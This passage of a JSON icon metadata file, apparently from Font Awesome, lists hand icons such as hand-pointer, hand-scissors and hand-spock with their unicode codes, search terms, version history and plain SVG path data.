        "path": "M480 96c17.7 0 32 14.3 32 32s-14.3 32-32 32l-208 0 0-64 208 0zM320 288c17.7 0 32 14.3 32 32s-14.3 32-32 32l-64 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l64 0zm64-64c0 17.7-14.3 32-32 32l-48 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l48 0c17.7 0 32 14.3 32 32zM288 384c17.7 0 32 14.3 32 32s-14.3 32-32 32l-64 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l64 0zm-88-96l.6 0c-5.4 9.4-8.6 20.3-8.6 32c0 13.2 4 25.4 10.8 35.6C177.9 364.3 160 388.1 160 416c0 11.7 3.1 22.6 8.6 32l-8.6 0C71.6 448 0 376.4 0 288l0-61.7c0-42.4 16.9-83.1 46.9-113.1l11.6-11.6C82.5 77.5 115.1 64 149 64l27 0c35.3 0 64 28.7 64 64l0 88c0 22.1-17.9 40-40 40s-40-17.9-40-40l0-56c0-8.8-7.2-16-16-16s-16 7.2-16 16l0 56c0 39.8 32.2 72 72 72z"
      },
      "regular": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 128l-177.6 0c1 5.2 1.6 10.5 1.6 16l0 16 32 0 144 0c8.8 0 16-7.2 16-16s-7.2-16-16-16zM224 144c0-17.7-14.3-32-32-32c0 0 0 0 0 0l-24 0c-66.3 0-120 53.7-120 120l0 48c0 52.5 33.7 97.1 80.7 113.4c-.5-3.1-.7-6.2-.7-9.4c0-20 9.2-37.9 23.6-49.7c-4.9-9-7.6-19.4-7.6-30.3c0-15.1 5.3-29 14-40c-8.8-11-14-24.9-14-40l0-40c0-13.3 10.7-24 24-24s24 10.7 24 24l0 40c0 8.8 7.2 16 16 16s16-7.2 16-16l0-40 0-40zM192 64s0 0 0 0c18 0 34.6 6 48 16l208 0c35.3 0 64 28.7 64 64s-28.7 64-64 64l-82 0c1.3 5.1 2 10.5 2 16c0 25.3-14.7 47.2-36 57.6c2.6 7 4 14.5 4 22.4c0 20-9.2 37.9-23.6 49.7c4.9 9 7.6 19.4 7.6 30.3c0 35.3-28.7 64-64 64l-64 0-24 0C75.2 448 0 372.8 0 280l0-48C0 139.2 75.2 64 168 64l24 0zm64 336c8.8 0 16-7.2 16-16s-7.2-16-16-16l-48 0-16 0c-8.8 0-16 7.2-16 16s7.2 16 16 16l64 0zm16-176c0 5.5-.7 10.9-2 16l2 0 32 0c8.8 0 16-7.2 16-16s-7.2-16-16-16l-32 0 0 16zm-24 64l-40 0c-8.8 0-16 7.2-16 16s7.2 16 16 16l48 0 16 0c8.8 0 16-7.2 16-16s-7.2-16-16-16l-24 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 128l-177.6 0c1 5.2 1.6 10.5 1.6 16l0 16 32 0 144 0c8.8 0 16-7.2 16-16s-7.2-16-16-16zM224 144c0-17.7-14.3-32-32-32c0 0 0 0 0 0l-24 0c-66.3 0-120 53.7-120 120l0 48c0 52.5 33.7 97.1 80.7 113.4c-.5-3.1-.7-6.2-.7-9.4c0-20 9.2-37.9 23.6-49.7c-4.9-9-7.6-19.4-7.6-30.3c0-15.1 5.3-29 14-40c-8.8-11-14-24.9-14-40l0-40c0-13.3 10.7-24 24-24s24 10.7 24 24l0 40c0 8.8 7.2 16 16 16s16-7.2 16-16l0-40 0-40zM192 64s0 0 0 0c18 0 34.6 6 48 16l208 0c35.3 0 64 28.7 64 64s-28.7 64-64 64l-82 0c1.3 5.1 2 10.5 2 16c0 25.3-14.7 47.2-36 57.6c2.6 7 4 14.5 4 22.4c0 20-9.2 37.9-23.6 49.7c4.9 9 7.6 19.4 7.6 30.3c0 35.3-28.7 64-64 64l-64 0-24 0C75.2 448 0 372.8 0 280l0-48C0 139.2 75.2 64 168 64l24 0zm64 336c8.8 0 16-7.2 16-16s-7.2-16-16-16l-48 0-16 0c-8.8 0-16 7.2-16 16s7.2 16 16 16l64 0zm16-176c0 5.5-.7 10.9-2 16l2 0 32 0c8.8 0 16-7.2 16-16s-7.2-16-16-16l-32 0 0 16zm-24 64l-40 0c-8.8 0-16 7.2-16 16s7.2 16 16 16l48 0 16 0c8.8 0 16-7.2 16-16s-7.2-16-16-16l-24 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hand-point-up": {
    "aliases": {
      "unicodes": {
        "composite": ["261d"],
        "secondary": ["10f0a6"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "finger",
        "hand",
        "hand-o-up",
        "index",
        "index pointing up",
        "point",
        "up"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0a6",
    "label": "Hand Point Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 32C32 14.3 46.3 0 64 0S96 14.3 96 32V240H32V32zM224 192c0-17.7 14.3-32 32-32s32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V192zm-64-64c17.7 0 32 14.3 32 32v48c0 17.7-14.3 32-32 32s-32-14.3-32-32V160c0-17.7 14.3-32 32-32zm160 96c0-17.7 14.3-32 32-32s32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V224zm-96 88l0-.6c9.4 5.4 20.3 8.6 32 8.6c13.2 0 25.4-4 35.6-10.8c8.7 24.9 32.5 42.8 60.4 42.8c11.7 0 22.6-3.1 32-8.6V352c0 88.4-71.6 160-160 160H162.3c-42.4 0-83.1-16.9-113.1-46.9L37.5 453.5C13.5 429.5 0 396.9 0 363V336c0-35.3 28.7-64 64-64h88c22.1 0 40 17.9 40 40s-17.9 40-40 40H96c-8.8 0-16 7.2-16 16s7.2 16 16 16h56c39.8 0 72-32.2 72-72z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 32C32 14.3 46.3 0 64 0S96 14.3 96 32V240H32V32zM224 192c0-17.7 14.3-32 32-32s32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V192zm-64-64c17.7 0 32 14.3 32 32v48c0 17.7-14.3 32-32 32s-32-14.3-32-32V160c0-17.7 14.3-32 32-32zm160 96c0-17.7 14.3-32 32-32s32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V224zm-96 88l0-.6c9.4 5.4 20.3 8.6 32 8.6c13.2 0 25.4-4 35.6-10.8c8.7 24.9 32.5 42.8 60.4 42.8c11.7 0 22.6-3.1 32-8.6V352c0 88.4-71.6 160-160 160H162.3c-42.4 0-83.1-16.9-113.1-46.9L37.5 453.5C13.5 429.5 0 396.9 0 363V336c0-35.3 28.7-64 64-64h88c22.1 0 40 17.9 40 40s-17.9 40-40 40H96c-8.8 0-16 7.2-16 16s7.2 16 16 16h56c39.8 0 72-32.2 72-72z"
      },
      "regular": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 64V241.6c5.2-1 10.5-1.6 16-1.6H96V208 64c0-8.8-7.2-16-16-16s-16 7.2-16 16zM80 288c-17.7 0-32 14.3-32 32c0 0 0 0 0 0v24c0 66.3 53.7 120 120 120h48c52.5 0 97.1-33.7 113.4-80.7c-3.1 .5-6.2 .7-9.4 .7c-20 0-37.9-9.2-49.7-23.6c-9 4.9-19.4 7.6-30.3 7.6c-15.1 0-29-5.3-40-14c-11 8.8-24.9 14-40 14H120c-13.3 0-24-10.7-24-24s10.7-24 24-24h40c8.8 0 16-7.2 16-16s-7.2-16-16-16H120 80zM0 320s0 0 0 0c0-18 6-34.6 16-48V64C16 28.7 44.7 0 80 0s64 28.7 64 64v82c5.1-1.3 10.5-2 16-2c25.3 0 47.2 14.7 57.6 36c7-2.6 14.5-4 22.4-4c20 0 37.9 9.2 49.7 23.6c9-4.9 19.4-7.6 30.3-7.6c35.3 0 64 28.7 64 64v64 24c0 92.8-75.2 168-168 168H168C75.2 512 0 436.8 0 344V320zm336-64c0-8.8-7.2-16-16-16s-16 7.2-16 16v48 16c0 8.8 7.2 16 16 16s16-7.2 16-16V256zM160 240c5.5 0 10.9 .7 16 2v-2V208c0-8.8-7.2-16-16-16s-16 7.2-16 16v32h16zm64 24v40c0 8.8 7.2 16 16 16s16-7.2 16-16V256 240c0-8.8-7.2-16-16-16s-16 7.2-16 16v24z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 64V241.6c5.2-1 10.5-1.6 16-1.6H96V208 64c0-8.8-7.2-16-16-16s-16 7.2-16 16zM80 288c-17.7 0-32 14.3-32 32c0 0 0 0 0 0v24c0 66.3 53.7 120 120 120h48c52.5 0 97.1-33.7 113.4-80.7c-3.1 .5-6.2 .7-9.4 .7c-20 0-37.9-9.2-49.7-23.6c-9 4.9-19.4 7.6-30.3 7.6c-15.1 0-29-5.3-40-14c-11 8.8-24.9 14-40 14H120c-13.3 0-24-10.7-24-24s10.7-24 24-24h40c8.8 0 16-7.2 16-16s-7.2-16-16-16H120 80zM0 320s0 0 0 0c0-18 6-34.6 16-48V64C16 28.7 44.7 0 80 0s64 28.7 64 64v82c5.1-1.3 10.5-2 16-2c25.3 0 47.2 14.7 57.6 36c7-2.6 14.5-4 22.4-4c20 0 37.9 9.2 49.7 23.6c9-4.9 19.4-7.6 30.3-7.6c35.3 0 64 28.7 64 64v64 24c0 92.8-75.2 168-168 168H168C75.2 512 0 436.8 0 344V320zm336-64c0-8.8-7.2-16-16-16s-16 7.2-16 16v48 16c0 8.8 7.2 16 16 16s16-7.2 16-16V256zM160 240c5.5 0 10.9 .7 16 2v-2V208c0-8.8-7.2-16-16-16s-16 7.2-16 16v32h16zm64 24v40c0 8.8 7.2 16 16 16s16-7.2 16-16V256 240c0-8.8-7.2-16-16-16s-16 7.2-16 16v24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hand-pointer": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f25a"]
      }
    },
    "changes": ["4.4.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "cursor", "select"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f25a",
    "label": "Hand Pointer",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128 40c0-22.1 17.9-40 40-40s40 17.9 40 40V188.2c8.5-7.6 19.7-12.2 32-12.2c20.6 0 38.2 13 45 31.2c8.8-9.3 21.2-15.2 35-15.2c25.3 0 46 19.5 47.9 44.3c8.5-7.7 19.8-12.3 32.1-12.3c26.5 0 48 21.5 48 48v48 16 48c0 70.7-57.3 128-128 128l-16 0H240l-.1 0h-5.2c-5 0-9.9-.3-14.7-1c-55.3-5.6-106.2-34-140-79L8 336c-13.3-17.7-9.7-42.7 8-56s42.7-9.7 56 8l56 74.7V40zM240 304c0-8.8-7.2-16-16-16s-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304zm48-16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304c0-8.8-7.2-16-16-16zm80 16c0-8.8-7.2-16-16-16s-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M128 40c0-22.1 17.9-40 40-40s40 17.9 40 40V188.2c8.5-7.6 19.7-12.2 32-12.2c20.6 0 38.2 13 45 31.2c8.8-9.3 21.2-15.2 35-15.2c25.3 0 46 19.5 47.9 44.3c8.5-7.7 19.8-12.3 32.1-12.3c26.5 0 48 21.5 48 48v48 16 48c0 70.7-57.3 128-128 128l-16 0H240l-.1 0h-5.2c-5 0-9.9-.3-14.7-1c-55.3-5.6-106.2-34-140-79L8 336c-13.3-17.7-9.7-42.7 8-56s42.7-9.7 56 8l56 74.7V40zM240 304c0-8.8-7.2-16-16-16s-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304zm48-16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304c0-8.8-7.2-16-16-16zm80 16c0-8.8-7.2-16-16-16s-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304z"
      },
      "regular": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M160 64c0-8.8 7.2-16 16-16s16 7.2 16 16V200c0 10.3 6.6 19.5 16.4 22.8s20.6-.1 26.8-8.3c3-3.9 7.6-6.4 12.8-6.4c8.8 0 16 7.2 16 16c0 10.3 6.6 19.5 16.4 22.8s20.6-.1 26.8-8.3c3-3.9 7.6-6.4 12.8-6.4c7.8 0 14.3 5.6 15.7 13c1.6 8.2 7.3 15.1 15.1 18s16.7 1.6 23.3-3.6c2.7-2.1 6.1-3.4 9.9-3.4c8.8 0 16 7.2 16 16l0 16V392c0 39.8-32.2 72-72 72H272 212.3h-.9c-37.4 0-72.4-18.7-93.2-49.9L50.7 312.9c-4.9-7.4-2.9-17.3 4.4-22.2s17.3-2.9 22.2 4.4L116 353.2c5.9 8.8 16.8 12.7 26.9 9.7s17-12.4 17-23V320 64zM176 0c-35.3 0-64 28.7-64 64V261.7C91.2 238 55.5 232.8 28.5 250.7C-.9 270.4-8.9 310.1 10.8 339.5L78.3 440.8c29.7 44.5 79.6 71.2 133.1 71.2h.9H272h56c66.3 0 120-53.7 120-120V288l0-16c0-35.3-28.7-64-64-64c-4.5 0-8.8 .5-13 1.3c-11.7-15.4-30.2-25.3-51-25.3c-6.9 0-13.5 1.1-19.7 3.1C288.7 170.7 269.6 160 248 160c-2.7 0-5.4 .2-8 .5V64c0-35.3-28.7-64-64-64zm48 304c0-8.8-7.2-16-16-16s-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304zm48-16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304c0-8.8-7.2-16-16-16zm80 16c0-8.8-7.2-16-16-16s-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M160 64c0-8.8 7.2-16 16-16s16 7.2 16 16V200c0 10.3 6.6 19.5 16.4 22.8s20.6-.1 26.8-8.3c3-3.9 7.6-6.4 12.8-6.4c8.8 0 16 7.2 16 16c0 10.3 6.6 19.5 16.4 22.8s20.6-.1 26.8-8.3c3-3.9 7.6-6.4 12.8-6.4c7.8 0 14.3 5.6 15.7 13c1.6 8.2 7.3 15.1 15.1 18s16.7 1.6 23.3-3.6c2.7-2.1 6.1-3.4 9.9-3.4c8.8 0 16 7.2 16 16l0 16V392c0 39.8-32.2 72-72 72H272 212.3h-.9c-37.4 0-72.4-18.7-93.2-49.9L50.7 312.9c-4.9-7.4-2.9-17.3 4.4-22.2s17.3-2.9 22.2 4.4L116 353.2c5.9 8.8 16.8 12.7 26.9 9.7s17-12.4 17-23V320 64zM176 0c-35.3 0-64 28.7-64 64V261.7C91.2 238 55.5 232.8 28.5 250.7C-.9 270.4-8.9 310.1 10.8 339.5L78.3 440.8c29.7 44.5 79.6 71.2 133.1 71.2h.9H272h56c66.3 0 120-53.7 120-120V288l0-16c0-35.3-28.7-64-64-64c-4.5 0-8.8 .5-13 1.3c-11.7-15.4-30.2-25.3-51-25.3c-6.9 0-13.5 1.1-19.7 3.1C288.7 170.7 269.6 160 248 160c-2.7 0-5.4 .2-8 .5V64c0-35.3-28.7-64-64-64zm48 304c0-8.8-7.2-16-16-16s-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304zm48-16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304c0-8.8-7.2-16-16-16zm80 16c0-8.8-7.2-16-16-16s-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hand-scissors": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f257"]
      }
    },
    "changes": ["4.4.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cut", "game", "roshambo"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f257",
    "label": "Hand Scissors",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M40 208c-22.1 0-40 17.9-40 40s17.9 40 40 40l180.2 0c-7.6 8.5-12.2 19.7-12.2 32c0 25.3 19.5 46 44.3 47.9c-7.7 8.5-12.3 19.8-12.3 32.1c0 26.5 21.5 48 48 48l32 0 64 0c70.7 0 128-57.3 128-128l0-113.1c0-40.2-16-78.8-44.4-107.3C444.8 76.8 413.9 64 381.7 64L336 64c-21.3 0-39.3 13.9-45.6 33.1l74.5 23.7c8.4 2.7 13.1 11.7 10.4 20.1s-11.7 13.1-20.1 10.4L288 129.9l0 .1L84 65.8C62.9 59.2 40.5 70.9 33.8 92s5.1 43.5 26.2 50.2L269.5 208 40 208z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M40 208c-22.1 0-40 17.9-40 40s17.9 40 40 40l180.2 0c-7.6 8.5-12.2 19.7-12.2 32c0 25.3 19.5 46 44.3 47.9c-7.7 8.5-12.3 19.8-12.3 32.1c0 26.5 21.5 48 48 48l32 0 64 0c70.7 0 128-57.3 128-128l0-113.1c0-40.2-16-78.8-44.4-107.3C444.8 76.8 413.9 64 381.7 64L336 64c-21.3 0-39.3 13.9-45.6 33.1l74.5 23.7c8.4 2.7 13.1 11.7 10.4 20.1s-11.7 13.1-20.1 10.4L288 129.9l0 .1L84 65.8C62.9 59.2 40.5 70.9 33.8 92s5.1 43.5 26.2 50.2L269.5 208 40 208z"
      },
      "regular": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M.2 276.3c-1.2-35.3 26.4-65 61.7-66.2l3.3-.1L57 208.1C22.5 200.5 .7 166.3 8.3 131.8S50.2 75.5 84.7 83.2l173 38.3c2.3-2.9 4.7-5.7 7.1-8.5l18.4-20.3C299.9 74.5 323.5 64 348.3 64l10.2 0c54.1 0 104.1 28.7 131.3 75.4l1.5 2.6c13.6 23.2 20.7 49.7 20.7 76.6L512 344c0 66.3-53.7 120-120 120l-8 0-96 0c-35.3 0-64-28.7-64-64c0-2.8 .2-5.6 .5-8.3c-19.4-11-32.5-31.8-32.5-55.7c0-.8 0-1.6 0-2.4L66.4 338c-35.3 1.2-65-26.4-66.2-61.7zm63.4-18.2c-8.8 .3-15.7 7.7-15.4 16.5s7.7 15.7 16.5 15.4l161.5-5.6c9.8-.3 18.7 5.3 22.7 14.2s2.2 19.3-4.5 26.4c-2.8 2.9-4.4 6.7-4.4 11c0 8.8 7.2 16 16 16c9.1 0 17.4 5.1 21.5 13.3s3.2 17.9-2.3 25.1c-2 2.7-3.2 6-3.2 9.6c0 8.8 7.2 16 16 16l96 0 8 0c39.8 0 72-32.2 72-72l0-125.4c0-18.4-4.9-36.5-14.2-52.4l-1.5-2.6c-18.6-32-52.8-51.6-89.8-51.6l-10.2 0c-11.3 0-22 4.8-29.6 13.1l-17.5-15.9 17.5 15.9-18.4 20.3c-.6 .6-1.1 1.3-1.7 1.9l57 13.2c8.6 2 14 10.6 12 19.2s-10.6 14-19.2 12l-85.6-19.7L74.3 130c-8.6-1.9-17.2 3.5-19.1 12.2s3.5 17.2 12.2 19.1l187.5 41.6c10.2 2.3 17.8 10.9 18.7 21.4l.1 1c.6 6.6-1.5 13.1-5.8 18.1s-10.6 7.9-17.2 8.2L63.6 258.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M.2 276.3c-1.2-35.3 26.4-65 61.7-66.2l3.3-.1L57 208.1C22.5 200.5 .7 166.3 8.3 131.8S50.2 75.5 84.7 83.2l173 38.3c2.3-2.9 4.7-5.7 7.1-8.5l18.4-20.3C299.9 74.5 323.5 64 348.3 64l10.2 0c54.1 0 104.1 28.7 131.3 75.4l1.5 2.6c13.6 23.2 20.7 49.7 20.7 76.6L512 344c0 66.3-53.7 120-120 120l-8 0-96 0c-35.3 0-64-28.7-64-64c0-2.8 .2-5.6 .5-8.3c-19.4-11-32.5-31.8-32.5-55.7c0-.8 0-1.6 0-2.4L66.4 338c-35.3 1.2-65-26.4-66.2-61.7zm63.4-18.2c-8.8 .3-15.7 7.7-15.4 16.5s7.7 15.7 16.5 15.4l161.5-5.6c9.8-.3 18.7 5.3 22.7 14.2s2.2 19.3-4.5 26.4c-2.8 2.9-4.4 6.7-4.4 11c0 8.8 7.2 16 16 16c9.1 0 17.4 5.1 21.5 13.3s3.2 17.9-2.3 25.1c-2 2.7-3.2 6-3.2 9.6c0 8.8 7.2 16 16 16l96 0 8 0c39.8 0 72-32.2 72-72l0-125.4c0-18.4-4.9-36.5-14.2-52.4l-1.5-2.6c-18.6-32-52.8-51.6-89.8-51.6l-10.2 0c-11.3 0-22 4.8-29.6 13.1l-17.5-15.9 17.5 15.9-18.4 20.3c-.6 .6-1.1 1.3-1.7 1.9l57 13.2c8.6 2 14 10.6 12 19.2s-10.6 14-19.2 12l-85.6-19.7L74.3 130c-8.6-1.9-17.2 3.5-19.1 12.2s3.5 17.2 12.2 19.1l187.5 41.6c10.2 2.3 17.8 10.9 18.7 21.4l.1 1c.6 6.6-1.5 13.1-5.8 18.1s-10.6 7.9-17.2 8.2L63.6 258.1z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hand-sparkles": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e05d"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["clean", "covid-19", "hygiene", "magic", "palm", "soap", "wash"]
    },
    "styles": ["solid"],
    "unicode": "e05d",
    "label": "Hand Sparkles",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 0c17.7 0 32 14.3 32 32V240c0 8.8 7.2 16 16 16s16-7.2 16-16V64c0-17.7 14.3-32 32-32s32 14.3 32 32V240c0 8.8 7.2 16 16 16s16-7.2 16-16V128c0-17.7 14.3-32 32-32s32 14.3 32 32V323.1c-11.9 4.8-21.3 14.9-25 27.8l-8.9 31.2L478.9 391C460.6 396.3 448 413 448 432c0 18.9 12.5 35.6 30.6 40.9C448.4 497.4 409.9 512 368 512H348.8c-59.6 0-116.9-22.9-160-64L76.4 341c-16-15.2-16.6-40.6-1.4-56.6s40.6-16.6 56.6-1.4l60.5 57.6c0-1.5-.1-3.1-.1-4.6V64c0-17.7 14.3-32 32-32s32 14.3 32 32V240c0 8.8 7.2 16 16 16s16-7.2 16-16V32c0-17.7 14.3-32 32-32zm-7.3 326.6c-1.1-3.9-4.7-6.6-8.7-6.6s-7.6 2.7-8.7 6.6L288 352l-25.4 7.3c-3.9 1.1-6.6 4.7-6.6 8.7s2.7 7.6 6.6 8.7L288 384l7.3 25.4c1.1 3.9 4.7 6.6 8.7 6.6s7.6-2.7 8.7-6.6L320 384l25.4-7.3c3.9-1.1 6.6-4.7 6.6-8.7s-2.7-7.6-6.6-8.7L320 352l-7.3-25.4zM104 120l48.3 13.8c4.6 1.3 7.7 5.5 7.7 10.2s-3.1 8.9-7.7 10.2L104 168 90.2 216.3c-1.3 4.6-5.5 7.7-10.2 7.7s-8.9-3.1-10.2-7.7L56 168 7.7 154.2C3.1 152.9 0 148.7 0 144s3.1-8.9 7.7-10.2L56 120 69.8 71.7C71.1 67.1 75.3 64 80 64s8.9 3.1 10.2 7.7L104 120zM584 408l48.3 13.8c4.6 1.3 7.7 5.5 7.7 10.2s-3.1 8.9-7.7 10.2L584 456l-13.8 48.3c-1.3 4.6-5.5 7.7-10.2 7.7s-8.9-3.1-10.2-7.7L536 456l-48.3-13.8c-4.6-1.3-7.7-5.5-7.7-10.2s3.1-8.9 7.7-10.2L536 408l13.8-48.3c1.3-4.6 5.5-7.7 10.2-7.7s8.9 3.1 10.2 7.7L584 408z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 0c17.7 0 32 14.3 32 32V240c0 8.8 7.2 16 16 16s16-7.2 16-16V64c0-17.7 14.3-32 32-32s32 14.3 32 32V240c0 8.8 7.2 16 16 16s16-7.2 16-16V128c0-17.7 14.3-32 32-32s32 14.3 32 32V323.1c-11.9 4.8-21.3 14.9-25 27.8l-8.9 31.2L478.9 391C460.6 396.3 448 413 448 432c0 18.9 12.5 35.6 30.6 40.9C448.4 497.4 409.9 512 368 512H348.8c-59.6 0-116.9-22.9-160-64L76.4 341c-16-15.2-16.6-40.6-1.4-56.6s40.6-16.6 56.6-1.4l60.5 57.6c0-1.5-.1-3.1-.1-4.6V64c0-17.7 14.3-32 32-32s32 14.3 32 32V240c0 8.8 7.2 16 16 16s16-7.2 16-16V32c0-17.7 14.3-32 32-32zm-7.3 326.6c-1.1-3.9-4.7-6.6-8.7-6.6s-7.6 2.7-8.7 6.6L288 352l-25.4 7.3c-3.9 1.1-6.6 4.7-6.6 8.7s2.7 7.6 6.6 8.7L288 384l7.3 25.4c1.1 3.9 4.7 6.6 8.7 6.6s7.6-2.7 8.7-6.6L320 384l25.4-7.3c3.9-1.1 6.6-4.7 6.6-8.7s-2.7-7.6-6.6-8.7L320 352l-7.3-25.4zM104 120l48.3 13.8c4.6 1.3 7.7 5.5 7.7 10.2s-3.1 8.9-7.7 10.2L104 168 90.2 216.3c-1.3 4.6-5.5 7.7-10.2 7.7s-8.9-3.1-10.2-7.7L56 168 7.7 154.2C3.1 152.9 0 148.7 0 144s3.1-8.9 7.7-10.2L56 120 69.8 71.7C71.1 67.1 75.3 64 80 64s8.9 3.1 10.2 7.7L104 120zM584 408l48.3 13.8c4.6 1.3 7.7 5.5 7.7 10.2s-3.1 8.9-7.7 10.2L584 456l-13.8 48.3c-1.3 4.6-5.5 7.7-10.2 7.7s-8.9-3.1-10.2-7.7L536 456l-48.3-13.8c-4.6-1.3-7.7-5.5-7.7-10.2s3.1-8.9 7.7-10.2L536 408l13.8-48.3c1.3-4.6 5.5-7.7 10.2-7.7s8.9 3.1 10.2 7.7L584 408z"
      }
    },
    "free": ["solid"]
  },
  "hand-spock": {
    "aliases": {
      "unicodes": {
        "composite": ["1f596"],
        "secondary": ["10f259"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "finger",
        "hand",
        "live long",
        "palm",
        "prosper",
        "salute",
        "spock",
        "star trek",
        "vulcan",
        "vulcan salute"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f259",
    "label": "Hand Spock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M246.9 23.7C242.3 6.6 224.8-3.5 207.7 1.1s-27.2 22.1-22.6 39.2L238 237.8c2.5 9.2-4.5 18.2-14 18.2c-6.4 0-12-4.2-13.9-10.3L166.6 102.7c-5.1-16.9-23-26.4-39.9-21.3s-26.4 23-21.3 39.9l62.8 206.4c2.4 7.9-7.2 13.8-13.2 8.1L99.6 283c-16-15.2-41.3-14.6-56.6 1.4s-14.6 41.3 1.4 56.6L156.8 448c43.1 41.1 100.4 64 160 64h10.9 8.2c.1 0 .1-.1 .1-.1v0c0-.1 .1-.1 .1-.1c58.3-3.5 108.6-43.2 125.3-99.7l81.2-275c5-16.9-4.7-34.7-21.6-39.8s-34.7 4.7-39.8 21.6L443.5 247.1c-1.6 5.3-6.4 8.9-12 8.9c-7.9 0-13.8-7.3-12.2-15.1l36-170.3c3.7-17.3-7.4-34.3-24.7-37.9s-34.3 7.4-37.9 24.7L355.1 235.1c-2.6 12.2-13.3 20.9-25.8 20.9c-11.9 0-22.4-8-25.4-19.5l-57-212.8z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
